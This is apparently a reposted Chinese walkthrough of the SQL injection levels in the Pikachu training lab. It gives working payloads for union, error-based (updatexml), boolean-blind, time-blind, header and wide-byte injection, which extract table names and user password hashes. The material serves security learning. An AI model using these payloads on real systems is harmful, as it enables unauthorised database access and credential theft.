Pikachu靶场--Sql Inject

news2025/1/21 8:45:28

参考借鉴

pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客

数字型注入(post)

这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。

选择序号进行查询 

在提交查询的同时BP抓包

右键-->发送给Repeater

判断为数字型注入,寻找注入点

拼接该语句,回显正常

id=3 order by 2

拼接该语句,回显报错,说明回显位为2

id=3 order by 3

拼接该语句,得到数据库名:pikachu,数据库版本:5.7.26

id=3 union select database(),version()

拼接该语句,得到pikachu库的表名

id=0 union select 3,group_concat(table_name) from information_schema.tables where table_schema=database()

拼接该语句,得到user表的字段名

id=0 union select 3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

拼接该语句,得到用户名和密码

id=0 union select username,password from users

成功获得用户名和密码,MD5解密即可

                

字符型注入(get)

字符型注入是通过在用户输入中注入恶意字符串来进行攻击。这些字符串可能包含SQL查询中的特殊字符或SQL语句的一部分,从而改变其原意。

输入username-->查询-->输入的内容被放到url

输入lili' 报错,输入lili'-- hello显示正常,判断为字符型   单引号闭合

输入该语句,回显正常

lili' order by 2-- hello

输入该语句,回显报错,说明回显位为2

lili' order by 3-- hello

输入该语句,得到数据库名:pikachu,数据库版本:5.7.26

lili' union select database(),version()-- hello

输入该语句,得到pikachu库的表名

lili' union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'-- hello

输入该语句,得到user表的字段名

lili' union select 1, group_concat(column_name) from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'-- hello

输入该语句,得到用户名和密码

lili' union select username, password from users-- hello

成功获得用户名和密码,MD5解密即可

                 

搜索型注入

这种注入利用在搜索表单或查询中输入的内容。攻击者可以通过搜索字段注入SQL代码,执行恶意查询或获取未授权信息。

同字符型注入(get)的做法一样,闭合方式也是只不过回显位为3

解题参照上文

lili' union select 1,database(),version()-- hello

         

xx型注入

同字符型注入(get)的做法一样,只不过闭合方式是'))回显位为2

解题参照上文

lili') union select database(),version()-- hello

                

insert/update注入

这种注入类型发生在INSERTUPDATE语句中,攻击者通过恶意构造的数据插入或更新数据库,可能导致数据损坏、篡改或非预期的操作。

注册用户

注册用户的同时,BP抓包

右键-->发送给Repeater

拼接该语句,得到数据库名:pikachu

username=hello 'or updatexml(1,concat(0x7e,database()),1) or' 

拼接该语句,数据库版本:5.7.26

username=hello 'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or' 

拼接该语句,得到pikachu库的表名

用户名要是错的,才会执行报错函数,获取表名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or' 

拼接该语句,得到user表的字段名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) or' 

拼接该语句,得到用户名和密码

username=0 'or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or' 

成功获得用户名和密码,MD5解密即可

                

delete注入

Delete注入是指攻击者利用恶意构造的输入来删除数据库中的数据,这种攻击可以极大地破坏数据库完整性。

写入一条留言 

在删除留言的同时BP抓包-->发送给Repeater

发现有一个变化的id值,可能存在注入点,尝试用报错注入

BP的GET请求中输入sql语句时,空格用+代替,否则出错

拼接该语句,得到数据库名:pikachu

?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)+ 

拼接该语句,得到pikachu库的表名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'),0x7e),1)+ 

拼接该语句,得到user表的字段名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='users'),0x7e),1)+ 

拼接该语句,得到用户名和密码

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)+ 

成功获得用户名和密码,MD5解密即可

                

http header注入

这种类型的注入利用HTTP请求或响应头部中的输入来执行攻击。攻击者可以在头部中插入特定字符,从而影响服务器的处理逻辑或者进行信息泄露。

提示-->获取username和password 

在登录的同时BP抓包

没发现注入点,但发现界面上的信息被BP抓取

右键-->发送给Repeater

因为User-Agent和Accept展示在界面中,所以可以修改这两处

以修改User-Agent为例:拼接该语句,得到数据库名:pikachu

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

拼接该语句,得到pikachu库的表名

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

拼接该语句,得到user表的字段名

'or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1) or'

拼接该语句,得到用户名和密码

'or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'

成功获得用户名和密码,MD5解密即可

以上以修改User-Agent为例,也可以修改Accept

                

盲注(base on boolian)

盲注是一种无法直接从响应中获取数据的注入攻击,攻击者通过发送特定的SQL查询,根据应用程序在查询结果中返回的布尔值(真或假)来推断数据库的结构和内容。

查询 lili' 不存在

查询 lili' -- hello,回显正常,判断为单引号闭合

拼接该语句,改变数字查看回显,得到数据库名字的长度:7

lili' and length(database())=7-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and substr(database(),1,1)='p'-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第二个字母:i

lili' and substr(database(),2,1)='i'-- hello

猜测数据库名为:pikachu

lili' and substr(database(),1,7)='pikachu'-- hello

成功获得数据库名

接下来用同样的方法猜测表名

①用group_concat猜---费时

②写python脚本自己跑

③使用sqlmap自动注入工具

         

盲注(base on time)

基于时间的盲注是一种通过观察应用程序对恶意查询的响应时间来推断数据库的内容。攻击者可以发送一个查询,如果应用程序对其作出延迟响应,则说明条件成立。

拼接该语句,立马加载完毕(无效)

lili and sleep(5)-- hello

拼接该语句,5秒后加载完毕(有效),所以本题是单引号闭合

lili' and sleep(5)-- hello

拼接该语句,改变数字查看回显速度,得到数据库名字的长度:7

lili' and if (length(database())=7,sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),1,1)='p',sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),2,1)='i',sleep(5),1)-- hello

猜测数据库名为:pikachu

lili' and if(substr(database(),1,7)='pikachu',sleep(5),1)-- hello

成功获得数据库名

接下来用同样的方法猜测表名

用group_concat猜---费时

写python脚本自己跑

使用sqlmap自动注入工具

         

宽字节注入

宽字节注入利用数据库在处理双字节编码(如UTF-8)时的特性来执行攻击。攻击者通过在输入中插入特定的宽字节字符,可能绕过常规的输入过滤机制,从而成功执行注入。

在提交查询的同时BP抓包

它和联合注入类似,只是要在内容后面添加%df

name=lili%df' or 1=1-- hello

拼接该语句,测试得到回显位的数量

name=1%df' union select 1,2-- hello

拼接该语句,得到数据库名:pikachu

name=1%df' union select 1,database()-- hello

拼接该语句,得到pikachu库的表名

name=1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- hello

拼接该语句,得到user表的字段名

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)-- hello

拼接该语句,得到用户名和密码

name=1%df' union select username,password from users-- hello

 成功获得用户名和密码,MD5解密即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1880523.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端笔记-day11

文章目录 01-空间-平移02-视距03-空间旋转Z轴04-空间旋转X轴05-空间旋转Y轴06-立体呈现07-案例-3D导航08-空间缩放10-动画实现步骤11-animation复合属性12-animation拆分写法13-案例-走马灯14-案例-精灵动画15-多组动画16-全民出游全民出游.htmlindex.css 01-空间-平移 <!D…

普元EOS学习笔记-创建精简应用

前言 本文依旧基于EOS8.3进行描述。 在上一篇文章《EOS8.3精简版安装》中&#xff0c;我们了解到普元预编译好的EOS的精简版压缩包&#xff0c;安装后&#xff0c;只能进行低开&#xff0c;而无法高开。 EOS精简版的高开方式是使用EOS开发工具提供的IDE&#xff0c;创建一个…

nginx架构学习

前言 这篇文章主要记录下对nginx架构的学习记录。 架构设计 优秀的模块化设计 高度模块化的设计是Nginx的架构基础。在Nginx中&#xff0c;除了少量的核心代码&#xff0c;其他一切皆 为模块。 在这5种模块中&#xff0c;配置模块与核心模块都是与Nginx框架密切相关的&…

【ESP32】打造全网最强esp-idf基础教程——14.VFS与SPIFFS文件系统

VFS与SPIFFS文件系统 这几天忙着搬砖&#xff0c;差点没时间更新博客了&#xff0c;所谓一日未脱贫&#xff0c;打工不能停&#xff0c;搬砖不狠&#xff0c;明天地位不稳呀。 不多说了&#xff0c;且看以下内容吧~ 一、VFS虚拟文件系统 先来看下文件系统的定义&#x…

zabbix监控进阶:如何分时段设置不同告警阈值(多阈值告警)

作者 乐维社区&#xff08;forum.lwops.cn&#xff09;乐乐 在生产环境中&#xff0c;企业的业务系统状态并不是一成不变的。在业务高峰时段&#xff0c;如节假日、促销活动或特定时间段&#xff0c;系统负载和用户访问量会大幅增加&#xff0c;此时可能需要设置更高的告警阈值…

网络基础:静态路由

静态路由是一种由网络管理员手动配置的路由方式&#xff0c;用于在网络设备&#xff08;如路由器或交换机&#xff09;之间传递数据包。与动态路由不同&#xff0c;静态路由不会根据网络状态的变化自动调整。 不同厂商的网络设备在静态路由的配置上有些许差异&#xff1b;下面…

qt文件如何打包成一个独立的exe文件

QT官方给我们安装好了打包软件&#xff0c;就在你QT安装的位置 把这个在cmd打开C:\Qt\6.7.1\mingw_64\bin\windeployqt6.exe&#xff08;或复制地址&#xff09; 然后把要打包项目的exe复制到新的空文件夹&#xff0c;再复制他的地址 按回车后生成新文件 再下载打包软件&#…

Arduino IDE 的安装与esp32项目的创建

1打开官网下载 官网 1-1下载完成后安装即可&#xff0c;会弹出一些按安装提示点击安装 2切换为中文模式 2-1点击Flie&#xff0c;在点击图中高亮的位置&#xff0c;进入 2-2选择语言 3创建esp32项目 3-1在线安装&#xff08;不一定成功&#xff0c;可以一直试&#xff09; …

树莓派3B读写EEPROM芯片AT24C256

AT24C256是一个Atmel公司的EEPROM存储芯片&#xff0c;容量是256K个bit&#xff08;也就是32K字节&#xff09;&#xff0c;I2C接口&#xff0c;而树莓派正好有I2C接口&#xff0c;如下图蓝框中的4个IO口&#xff0c; 把AT24C256和这4个口接在一起&#xff0c;这样硬件就准备好…

观察者模式在金融业务中的应用及其框架实现

引言 观察者模式&#xff08;Observer Pattern&#xff09;是一种行为设计模式&#xff0c;它定义了一种一对多的依赖关系&#xff0c;使得多个观察者对象同时监听某一个主题对象。当这个主题对象发生变化时&#xff0c;会通知所有观察者对象&#xff0c;使它们能够自动更新。…

【NodeJs】入门

目录 一、前导 二、 url模块 三、path模块 四、buffer模块 五、fs模块 六、stream流模块 七、os模块 八、crypto模块 九、util模块 十、http模块 nodejs官网 Node.js — 在任何地方运行 JavaScript nmp是Node.js包管理器&#xff0c;用来安装各种库、框架和工具&…

js自定义内容生成二维码,qrcodejs的使用

qrcodejs qrcodejs是基于原生js的文本转换成二维码的库&#xff0c;轻量且使用方法简单&#xff0c;它的实现原理是通过canvas将重新编码的内容绘制在页面元素上&#xff0c; 使用qrcodejs时可以选择引入它的cdn或者使用npm下载 <script type"text/javascript" …

Nacos配置中心客户端源码分析(一): 客户端如何初始化配置

本文收录于专栏 Nacos 推荐阅读&#xff1a;Nacos 架构 & 原理 文章目录 前言一、NacosConfigBeanDefinitionRegistrar二、NacosPropertySourcePostProcessor三、AbstractNacosPropertySourceBuilder总结「AI生成」 前言 专栏前几篇文章主要讲了Nacos作为服务注册中心相关…

vmware安装debian11

安装vmware16 下载镜像 https://repo.huaweicloud.com/debian-cd/ https://repo.huaweicloud.com/debian-cd/11.7.0/amd64/iso-dvd/ 安装 安装完成之后重启&#xff0c;输入账号密码进入&#xff0c;安装ssh服务器即可使用

park unpark

目录 一、基本使用 二、特点&#xff08;与 wait/notify 对比&#xff09; 三、park & unpark 的原理 一、基本使用 1. park 和 unpark 是 LockSupport 中的方法 2. LockSupport.park();// 暂停线程&#xff0c;线程进入 WAIT 状态 3. LockSupport.unpark(被暂停的线…

数据产品经理知识库构建

概述 数据产品经理是企业中负责管理和推动数据产品的专业人员。他们利用数据来辅助决策&#xff0c;优化产品&#xff0c;提升用户体验。用STAR法则&#xff08;Situation, Task, Action, Result&#xff09;来介绍数据产品经理的角色&#xff0c;应该学习的数据产品&#…

Linux安装Node-RED并实现后台运行及开机启动

首先确保系统中已近成功安装Node.js&#xff0c;并保证需要的合适版本&#xff1a; 关于node.js的安装可以参考我的另一篇博文:《AliyunOS安装Node.js》。 然后就可以使用npm工具安装Node-RED了&#xff0c;很简单使用如下命令&#xff1a; sudo npm install -g --unsafe-per…

各维度卷积神经网络内容收录

各维度卷积神经网络内容收录 卷积神经网络&#xff08;CNN&#xff09;&#xff0c;通常是指用于图像分类的2D CNN。但是&#xff0c;现实世界中还使用了其他两种类型的卷积神经网络&#xff0c;即1D CNN和3D CNN。 在1D CNN中&#xff0c;内核沿1个方向移动。1D CNN的输入和…

可信和可解释的大语言模型推理-RoG

大型语言模型&#xff08;LLM&#xff09;在复杂任务中表现出令人印象深刻的推理能力。然而&#xff0c;LLM在推理过程中缺乏最新的知识和经验&#xff0c;这可能导致不正确的推理过程&#xff0c;降低他们的表现和可信度。知识图谱(Knowledge graphs, KGs)以结构化的形式存储了…

模板方法模式在金融业务中的应用及其框架实现

引言 模板方法模式&#xff08;Template Method Pattern&#xff09;是一种行为设计模式&#xff0c;它在一个方法中定义一个算法的框架&#xff0c;而将一些步骤的实现延迟到子类中。模板方法允许子类在不改变算法结构的情况下重新定义算法的某些步骤。在金融业务中&#xff…